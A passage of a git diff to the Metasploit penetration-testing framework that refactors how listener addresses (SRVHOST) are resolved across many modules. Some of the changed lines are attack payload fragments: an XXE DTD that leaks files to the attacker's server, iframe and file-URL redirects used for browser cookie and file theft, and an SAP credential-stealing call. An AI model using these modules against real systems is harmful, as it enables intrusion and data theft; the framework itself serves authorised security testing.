             OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']),
             OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)'])
diff --git a/lib/msf/core/exploit/remote/socket_server.rb b/lib/msf/core/exploit/remote/socket_server.rb
index d25779a7e6b19..0e08e53049a8a 100644
--- a/lib/msf/core/exploit/remote/socket_server.rb
+++ b/lib/msf/core/exploit/remote/socket_server.rb
@@ -111,7 +111,7 @@ def cleanup_service
   # Returns the local host that is being listened on.
   #
   def srvhost
-    datastore['SRVHOST'] # rubocop:disable Lint/DatastoreSrvhostUsage
+    datastore['SRVHOST']
   end
 
   #
@@ -121,40 +121,12 @@ def srvport
     datastore['SRVPORT']
   end
 
-  def srvhost_addr
-    if datastore['LHOST'].present?
-      host = datastore["LHOST"]
-    else
-      if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0
-        if (respond_to?(:sock) and sock and sock.peerhost)
-          # Then this is a Passive-Aggressive module. It has a socket
-          # connected to the remote server from which we can deduce the
-          # appropriate source address.
-          host = Rex::Socket.source_address(sock.peerhost)
-        elsif datastore['RHOST'].present?
-          host = Rex::Socket.source_address(datastore['RHOST'])
-        else
-          # Otherwise, this module is only a server, not a client, *and*
-          # the payload does not have an LHOST option. This can happen,
-          # for example, with a browser exploit using a download-exec
-          # payload. In that case, just use the address of the interface
-          # with the default gateway and hope for the best.
-          host = Rex::Socket.source_address
-        end
-      else
-        host = srvhost
-      end
-    end
-
-    host
-  end
-
   #
   # Returns the address that the service is bound to. Can be different from SRVHOST when the ListenerBindAddress is
   # specified and can be used for binding to a specific address when NATing is in place.
   #
   def bindhost
-    datastore['ListenerBindAddress'].blank? ? srvhost : datastore['ListenerBindAddress']
+    datastore['ListenerBindAddress'].blank? ? datastore['SRVHOST'] : datastore['ListenerBindAddress']
   end
 
   def bindport
diff --git a/lib/msf/core/opt_address_local.rb b/lib/msf/core/opt_address_local.rb
index b75470cba2675..cffeb23cdcb7b 100644
--- a/lib/msf/core/opt_address_local.rb
+++ b/lib/msf/core/opt_address_local.rb
@@ -5,10 +5,39 @@ module Msf
 
 ###
 #
-# Network address option that allows referencing an address based on the name of the interface it's associated with.
+# Local network address option.
 #
 ###
-class OptAddressLocal < OptAddressRoutable
+class OptAddressLocal < OptAddress
+  def interfaces
+    begin
+      NetworkInterface.interfaces || []
+    rescue NetworkInterface::Error => e
+      elog(e)
+      []
+    end
+  end
+
+  def normalize(value)
+    return unless value.kind_of?(String)
+    return value unless interfaces.include?(value)
+
+    addrs = NetworkInterface.addresses(value).values.flatten
+
+    # Strip interface name from address (see getifaddrs(3))
+    addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr|
+      begin
+        IPAddr.new(addr)
+      rescue IPAddr::Error
+        false
+      end
+    end
+
+    # Sort for deterministic normalization; preference ipv4 addresses followed by their value
+    sorted_addrs = addrs.sort_by { |addr| ip_addr = IPAddr.new(addr); [ip_addr.ipv4? ? 0 : 1, ip_addr.to_i] }
+
+    sorted_addrs.any? ? sorted_addrs.first : ''
+  end
 
   def valid?(value, check_empty: true, datastore: nil)
     return false if check_empty && empty_required_value?(value)
@@ -16,10 +45,6 @@ def valid?(value, check_empty: true, datastore: nil)
 
     return true if interfaces.include?(value)
 
-    # todo: this should probably have additional validation to ensure that the address is able to be bound to, this
-    # would mean that the address is either locally available, or available via a Rex::Socket channel, e.g. a Meterpreter
-    # session
-
     super
   end
 end
diff --git a/lib/msf/core/opt_address_routable.rb b/lib/msf/core/opt_address_routable.rb
index 7fb0eb8921ce6..486e8e27e0e77 100644
--- a/lib/msf/core/opt_address_routable.rb
+++ b/lib/msf/core/opt_address_routable.rb
@@ -8,52 +8,9 @@ module Msf
   #
   ###
   class OptAddressRoutable < OptAddress
-    def interfaces
-      begin
-        NetworkInterface.interfaces || []
-      rescue NetworkInterface::Error => e
-        elog(e)
-        []
-      end
-    end
-
-    def normalize(value)
-      return unless value.kind_of?(String)
-      return value unless interfaces.include?(value)
-
-      addrs = NetworkInterface.addresses(value).values.flatten
-
-      # Strip interface name from address (see getifaddrs(3))
-      addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr|
-        begin
-          IPAddr.new(addr)
-        rescue IPAddr::Error
-          false
-        end
-      end
-
-      # Sort for deterministic normalization; preference ipv4 addresses followed by their value
-      sorted_addrs = addrs.sort_by { |addr| ip_addr = IPAddr.new(addr); [ip_addr.ipv4? ? 0 : 1, ip_addr.to_i] }
-
-      sorted_addrs.any? ? sorted_addrs.first : ''
-    end
 
     def valid?(value, check_empty: true, datastore: nil)
-      return false if check_empty && empty_required_value?(value)
-      return false unless value.kind_of?(String) || value.kind_of?(NilClass)
-
-      return true if interfaces.include?(value)
-
       return false if Rex::Socket.is_ip_addr?(value) && Rex::Socket.addr_atoi(value) == 0
-
-      if Rex::Socket.is_ipv4?(value)
-        ip_addr = IPAddr.new(value)
-        return false if IPAddr.new('0.0.0.0/8').include? ip_addr   # this network
-        return false if IPAddr.new('224.0.0.0/4').include? ip_addr # multicast
-        return false if IPAddr.new('240.0.0.0/4').include? ip_addr # reserved
-        return false if IPAddr.new('255.255.255.255') == ip_addr   # broadcast
-      end
-
       super
     end
   end
diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb
index 2150755604837..2503df94a0e62 100644
--- a/lib/msf/util/payload_cached_size.rb
+++ b/lib/msf/util/payload_cached_size.rb
@@ -45,13 +45,13 @@ class PayloadCachedSize
   }.freeze
 
   OPTS_IPV4 = {
-    'LHOST' => '223.255.255.255',
+    'LHOST' => '255.255.255.255',
     'KHOST' => '255.255.255.255',
     'AHOST' => '255.255.255.255'
   }.freeze
 
   OPTS_IPV6 = {
-    'LHOST' => 'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
+    'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
     'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
     'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'
   }.freeze
@@ -60,7 +60,7 @@ class PayloadCachedSize
   #
   # @param data [String] The source code of a payload module
   # @param cached_size [String] The new value for cached_size, which
-  #   should be either numeric or the string :dynamic
+  #   which should be either numeric or the string :dynamic
   # @return [String]
   def self.update_cache_constant(data, cached_size)
     data.
diff --git a/lib/rubocop/cop/lint/datastore_srvhost_usage.rb b/lib/rubocop/cop/lint/datastore_srvhost_usage.rb
deleted file mode 100644
index e682f905d8e3b..0000000000000
--- a/lib/rubocop/cop/lint/datastore_srvhost_usage.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-module RuboCop
-  module Cop
-    module Lint
-      # Detects direct access to datastore['SRVHOST'] and recommends using the srvhost method instead.
-      #
-      # The srvhost method provides a cleaner API for accessing the SRVHOST value from the datastore.
-      #
-      # @example
-      #   # bad
-      #   datastore['SRVHOST']
-      #   datastore["SRVHOST"]
-      #
-      #   # good
-      #   srvhost
-      class DatastoreSrvhostUsage < Base
-        extend AutoCorrector
-
-        MSG = 'Use the `srvhost` method instead of directly accessing `datastore[\'SRVHOST\']`.'
-
-        # @!method datastore_srvhost_access?(node)
-        def_node_matcher :datastore_srvhost_access?, <<~PATTERN
-          (send
-            (send nil? :datastore) :[]
-            (str {"SRVHOST"}))
-        PATTERN
-
-        # Called for every method call in the code
-        # Checks if it's a datastore['SRVHOST'] access and registers an offense if so
-        # @param node [RuboCop::AST::SendNode] The method call node being checked
-        def on_send(node)
-          return unless datastore_srvhost_access?(node)
-
-          add_offense(node, message: MSG) do |corrector|
-            corrector.replace(node, 'srvhost')
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb
index 5994b46e5a0f8..72919757cb8ca 100644
--- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb
+++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb
@@ -176,7 +176,10 @@ def hidden_css
   end
 
   def backend_url
-    "#{get_uri}/catch"
+    proto = (datastore['SSL'] ? 'https' : 'http')
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
+    "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
   end
 
   def run
diff --git a/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb b/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb
index 15a4f15ce192a..e064799d2daed 100644
--- a/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb
+++ b/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb
@@ -58,7 +58,7 @@ def initialize(info = {})
         OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]),
         OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]),
         OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]),
-        OptAddressRoutable.new('SRVHOST', [ false, 'The local IP address to listen HTTP requests from agents' ], conditions: %w[ACTION == SECSTORE]),
+        OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]),
         OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]),
         OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]),
       ]
@@ -68,6 +68,8 @@ def initialize(info = {})
   def setup_xml_and_variables
     @host = datastore['RHOSTS']
     @port = datastore['RPORT']
+    @srv_host = datastore['SRVHOST']
+    @srv_port = datastore['SRVPORT']
     @path = datastore['TARGETURI']
 
     @agent_name = datastore['AGENT']
@@ -253,7 +255,7 @@ def action_secstore
         }
       }
     )
-    @creds_payload = make_steal_credentials_payload(agent[:instanceName], "#{get_uri(cli)}/#{@script_name}")
+    @creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}")
     print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}")
     send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload))
 
diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb
index 22053b0fd8f0c..a4df374248615 100644
--- a/modules/auxiliary/fileformat/specialfolder_leak.rb
+++ b/modules/auxiliary/fileformat/specialfolder_leak.rb
@@ -156,12 +156,12 @@ def run
     start_service
     unc_share = datastore['SHARE']
     unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
-    unc_path = "\\\\#{srvhost}\\#{unc_share}"
+    unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}"
 
     lnk_data = ms_shllink(unc_path, app_name)
     file_create(lnk_data)
     print_good("LNK file created: #{datastore['FILENAME']}")
-    print_status("Listening for hashes on #{Rex::Socket.to_authority(bindhost, bindport)}")
+    print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
     stime = Time.now.to_f
     timeout = datastore['ListenerTimeout'].to_i
     loop do
diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb
index 2310160d775ad..2a105422c84c5 100644
--- a/modules/auxiliary/gather/android_stock_browser_uxss.rb
+++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb
@@ -218,6 +218,13 @@ def collect_data(request)
     end
   end
 
+  def backend_url
+    proto = (datastore["SSL"] ? "https" : "http")
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
+    "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
+  end
+
   def custom_js
     rjs_hook + datastore['CUSTOM_JS']
   end
diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
index 01fe4be14cc11..2e35b3c9ffd3e 100644
--- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
+++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
@@ -55,7 +55,7 @@ def initialize(info = {})
   #
   def run
     start_service
-    print_status("Local FTP: #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
+    print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
     start_http
     @http_service.wait
   end
@@ -68,12 +68,17 @@ def start_http(opts = {})
     # Ensture all dependencies are present before initializing HTTP
     use_zlib
 
-    comm = _determine_server_comm(bindhost)
+    comm = datastore['ListenerComm']
+    if comm.to_s == 'local'
+      comm = ::Rex::Socket::Comm::Local
+    else
+      comm = nil
+    end
 
     # Default the server host / port
     opts = {
-      'ServerHost' => bindhost,
-      'ServerPort' => datastore['HTTPPORT'], # can't use bindport because this wants HTTPPORT not SRVPORT
+      'ServerHost' => datastore['SRVHOST'],
+      'ServerPort' => datastore['HTTPPORT'],
       'Comm' => comm
     }.update(opts)
 
@@ -106,7 +111,7 @@ def start_http(opts = {})
     print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
 
     if opts['ServerHost'] == '0.0.0.0'
-      print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
+      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
     end
 
     # Add path to resource
@@ -114,6 +119,18 @@ def start_http(opts = {})
     @http_service.add_resource(uopts['Path'], uopts)
   end
 
+  #
+  # Lookup the right address for the client
+  #
+  def lookup_lhost(c = nil)
+    # Get the source address
+    if datastore['SRVHOST'] == '0.0.0.0'
+      Rex::Socket.source_address(c || '50.50.50.50')
+    else
+      datastore['SRVHOST']
+    end
+  end
+
   #
   # Handle the FTP RETR request. This is where we transfer our actual malicious payload
   #
@@ -194,7 +211,7 @@ def on_request_uri(cli, request)
       domains = datastore['TARGET_DOMAINS'].split(',')
       iframes = domains.map do |domain|
         %Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
-                src='ftp://user%40#{srvhost_addr}%3A#{srvport}%2Findex.html%23@#{domain}/'>
+                src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
         </iframe>|
       end
 
diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
index 14def1f154540..fff1f23508e9e 100644
--- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
+++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
@@ -86,6 +86,14 @@ def record_data(data, cli)
     )
   end
 
+  # @return [String] formatted http/https URL of the listener
+  def backend_url
+    proto = (datastore["SSL"] ? "https" : "http")
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
+    "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
+  end
+
   def message
     super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '')
   end
diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
index 8edcceea88fa5..3cfad645eee85 100644
--- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
+++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
@@ -92,7 +92,12 @@ def html
   end
 
   def backend_url
-    "#{get_uri}/catch"
+    proto = (datastore['SSL'] ? 'https' : 'http')
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
+    resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
+
+    "#{proto}://#{my_host}#{port_str}#{resource}/catch"
   end
 
   def file_payload
diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb
index 3ede49b391e5a..bd583642a5789 100644
--- a/modules/auxiliary/gather/ie_sandbox_findfiles.rb
+++ b/modules/auxiliary/gather/ie_sandbox_findfiles.rb
@@ -51,10 +51,12 @@ def initialize(info = {})
   end
 
   def js
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+
     %Q|function report() {
   if(window.location.protocol != 'file:') {
     try {
-      window.location.href = 'file://#{srvhost_addr}/#{datastore['SHARENAME']}/index.html';
+      window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
     } catch (e) { }
     return;
   }
@@ -63,10 +65,10 @@ def js
   for(var i = 0; i < frames.length; i++) {
   try {
       if(frames[i].name == 'notfound') {
-        frames[i].src = 'http://#{srvhost_addr}/notfound/?f=' + frames[i].src;
+        frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
       }
       else {
-        frames[i].src = 'http://#{srvhost_addr}/found/?f=' + frames[i].src;
+        frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
       }
     } catch(e) { }
   }
@@ -96,8 +98,10 @@ def html
   end
 
   def svg
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+
     %Q|<!-- saved from url=(0014)about:internet -->
-<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{srvhost_addr}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
+<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
   end
 
   def is_target_suitable?(user_agent)
@@ -114,6 +118,8 @@ def is_target_suitable?(user_agent)
   end
 
   def on_request_uri(cli, request)
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+
     case request.method
     when 'OPTIONS'
       process_options(cli, request)
@@ -145,7 +151,7 @@ def on_request_uri(cli, request)
 <head>
 <script type="text/javascript">
   try {
-    window.location.href = 'file://#{srvhost_addr}/#{datastore['SHARENAME']}/index.html';
+    window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
   } catch (e) {
     blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
     window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
@@ -198,8 +204,13 @@ def process_options(cli, request)
   def process_propfind(cli, request)
     path = request.uri
     print_status("PROPFIND #{path}")
+    body = ''
+
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+    my_uri = "http://#{my_host}/"
 
     if path !~ /\/$/
+
       if path.index(".")
         print_status "PROPFIND => 207 File (#{path})"
         body = %Q|<?xml version="1.0" encoding="utf-8"?>
diff --git a/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb b/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb
index de6b2532da790..f30a057404c4b 100644
--- a/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb
+++ b/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb
@@ -94,7 +94,7 @@ def make_xxe_dtd
     ent_file = Rex::Text.rand_text_alpha_lower(4..8)
     %(
       <!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
-      <!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{get_uri}/?#{leak_param_name}=%#{ent_file};'>">
+      <!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">
     )
   end
 
@@ -105,7 +105,7 @@ def xxe_xml_data
     xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
     xml += '['
     xml += "  <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
-    xml += "    <!ENTITY % #{param_entity_name} SYSTEM '#{get_uri}/Rex::Text.rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
+    xml += "    <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
     xml += ']'
     xml += "> <r>&#{ent_eval};</r>"
 
@@ -150,6 +150,10 @@ def xxe_request
   end
 
   def run
+    if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
+      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
+    end
+
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
diff --git a/modules/auxiliary/gather/safari_file_url_navigation.rb b/modules/auxiliary/gather/safari_file_url_navigation.rb
index 5b51c4313a9bf..225b1cff03c24 100644
--- a/modules/auxiliary/gather/safari_file_url_navigation.rb
+++ b/modules/auxiliary/gather/safari_file_url_navigation.rb
@@ -46,6 +46,15 @@ def initialize(info = {})
     ])
   end
 
+  def lookup_lhost(c = nil)
+    # Get the source address
+    if datastore['SRVHOST'] == '0.0.0.0'
+      Rex::Socket.source_address(c || '50.50.50.50')
+    else
+      datastore['SRVHOST']
+    end
+  end
+
   def on_request_uri(cli, req)
     if req.method =~ /post/i
       data_str = req.body.to_s
@@ -88,7 +97,7 @@ def exploit_html
   end
 
   def ftp_url
-    "ftp://#{ftp_user}:#{ftp_pass}@#{srvhost_addr}:#{datastore['SRVPORT']}"
+    "ftp://#{ftp_user}:#{ftp_pass}@#{lookup_lhost}:#{datastore['SRVPORT']}"
   end
 
   def popup_html
@@ -115,7 +124,7 @@ def popup_html
         function() {
           history.pushState.call(
             opener.history, {}, {},
-            'file:///Volumes/#{srvhost_addr}/#{payload_name}'
+            'file:///Volumes/#{lookup_lhost}/#{payload_name}'
           );
         },
         function() { opener.location = 'about:blank'; },
@@ -213,11 +222,16 @@ def start_http(opts = {})
     # Ensture all dependencies are present before initializing HTTP
     use_zlib
 
-    comm = _determin_server_comm(bindhost)
+    comm = datastore['ListenerComm']
+    if (comm.to_s == "local")
+      comm = ::Rex::Socket::Comm::Local
+    else
+      comm = nil
+    end
 
     # Default the server host / port
     opts = {
-      'ServerHost' => bindhost,
+      'ServerHost' => datastore['SRVHOST'],
       'ServerPort' => datastore['HTTPPORT'],
       'Comm' => comm
     }.update(opts)
diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb
index 4a25ff7284faa..db58870d5ba78 100644
--- a/modules/auxiliary/server/android_mercury_parseuri.rb
+++ b/modules/auxiliary/server/android_mercury_parseuri.rb
@@ -71,7 +71,12 @@ def get_html
   end
 
   def backend_url
-    "#{get_uri}/catch"
+    proto = (datastore['SSL'] ? 'https' : 'http')
+    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
+    resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
+
+    "#{proto}://#{my_host}#{port_str}#{resource}/catch"
   end
 
   def uxss
diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb
index cd8a11d4a2278..cf4975477fb4a 100644
--- a/modules/auxiliary/server/browser_autopwn.rb
+++ b/modules/auxiliary/server/browser_autopwn.rb
@@ -365,7 +365,7 @@ def init_exploit(name, mod = nil, targ = 0)
     @payloads[lport] = payload
 
     print_status("Starting exploit #{name} with payload #{payload}")
-    @exploits[name].datastore['SRVHOST'] = srvhost
+    @exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
     @exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
 
     # For testing, set the exploit uri to the name of the exploit so it's
diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb
index 4fd5b31de84a0..bfe4f5e842a52 100644
--- a/modules/auxiliary/server/capture/http.rb
+++ b/modules/auxiliary/server/capture/http.rb
@@ -62,7 +62,7 @@ def run
     @formsdir = datastore['FORMSDIR']
     @template = datastore['TEMPLATE']
     @sitelist = datastore['SITELIST']
-    @myhost = srvhost
+    @myhost = datastore['SRVHOST']
     @myport = datastore['SRVPORT']
 
     @myautopwn_host = datastore['AUTOPWN_HOST']
diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb
index dd5ff360f6037..10f4cfd58f7de 100644
--- a/modules/auxiliary/server/capture/http_basic.rb
+++ b/modules/auxiliary/server/capture/http_basic.rb
@@ -54,7 +54,7 @@ def support_ipv6?
   end
 
   def run
-    @myhost = srvhost
+    @myhost = datastore['SRVHOST']
     @myport = datastore['SRVPORT']
     @realm = datastore['REALM']
 
diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb
index 6cc1e74c11f51..305318c34f1b0 100644
--- a/modules/auxiliary/server/capture/pop3.rb
+++ b/modules/auxiliary/server/capture/pop3.rb
@@ -43,7 +43,7 @@ def setup
   end
 
   def run
-    @myhost = srvhost
+    @myhost = datastore['SRVHOST']
     @myport = datastore['SRVPORT']
     exploit
   end
diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb
index c19b657e63454..dab8157bf87ec 100644
--- a/modules/auxiliary/server/capture/printjob_capture.rb
+++ b/modules/auxiliary/server/capture/printjob_capture.rb
@@ -55,6 +55,8 @@ def setup
     @state = {}
 
     begin
+      @srvhost = datastore['SRVHOST']
+      @srvport = datastore['SRVPORT'] || 9100
       @mode = datastore['MODE'].upcase || 'RAW'
       if datastore['FORWARD']
         @forward = datastore['FORWARD']
@@ -69,7 +71,7 @@ def setup
         fail_with(Failure::BadConfig, 'Cannot intercept LPR/IPP without a forwarding target')
       end
       @metadata = datastore['METADATA']
-      print_status("Starting Print Server on #{Rex::Socket.to_authority(bindhost, bindport)} - #{@mode} mode")
+      print_status("Starting Print Server on #{@srvhost}:#{@srvport} - #{@mode} mode")
 
       exploit
     rescue StandardError => e
diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb
index f7449ae32b6c3..95279192af5d7 100644
--- a/modules/auxiliary/server/capture/sip.rb
+++ b/modules/auxiliary/server/capture/sip.rb
@@ -139,12 +139,12 @@ def report_cred(opts)
   def run
     @port = datastore['SRVPORT'].to_i
     @sock = Rex::Socket::Udp.create(
-      'LocalHost' => srvhost,
+      'LocalHost' => datastore['SRVHOST'],
       'LocalPort' => @port,
       'Context' => { 'Msf' => framework, 'MsfExploit' => self }
     )
     @run = true
-    server_ip = sip_sanitize_address(srvhost)
+    server_ip = sip_sanitize_address(datastore['SRVHOST'])
 
     while @run
       res = @sock.recvfrom
diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb
index 483463f565dc9..a913544865d71 100644
--- a/modules/auxiliary/server/capture/smtp.rb
+++ b/modules/auxiliary/server/capture/smtp.rb
@@ -241,7 +241,7 @@ def on_client_data(client)
         return
       elsif arg == 'CRAM-MD5'
         # create and send challenge
-        challenge = "<#{Rex::Text.rand_text_numeric(9..12)}@#{srvhost}>"
+        challenge = "<#{Rex::Text.rand_text_numeric(9..12)}@#{datastore['SRVHOST']}>"
         client.put "334 #{Rex::Text.encode_base64(challenge)}\r\n"
         @state[client][:auth_cram] = true
         @state[client][:auth_cram_challenge] = challenge
diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb
index 51a9512161fd7..01865f977395a 100644
--- a/modules/auxiliary/server/dns/spoofhelper.rb
+++ b/modules/auxiliary/server/dns/spoofhelper.rb
@@ -54,7 +54,7 @@ def run
 
     @sock = ::UDPSocket.new
     @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
-    @sock.bind(srvhost, @port)
+    @sock.bind(datastore['SRVHOST'], @port)
     @run = true
 
     while @run
diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb
index 6e0b3164d3711..d2d4e759a34e0 100644
--- a/modules/auxiliary/server/fakedns.rb
+++ b/modules/auxiliary/server/fakedns.rb
@@ -78,7 +78,7 @@ def run
     print_status("DNS server initializing")
     @sock = ::UDPSocket.new()
     @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
-    @sock.bind(srvhost, @port)
+    @sock.bind(datastore['SRVHOST'], @port)
     @run = true
     @domain_target_list = datastore['TARGETDOMAIN'].split
     @bypass = (datastore['TARGETACTION'].upcase == "BYPASS")
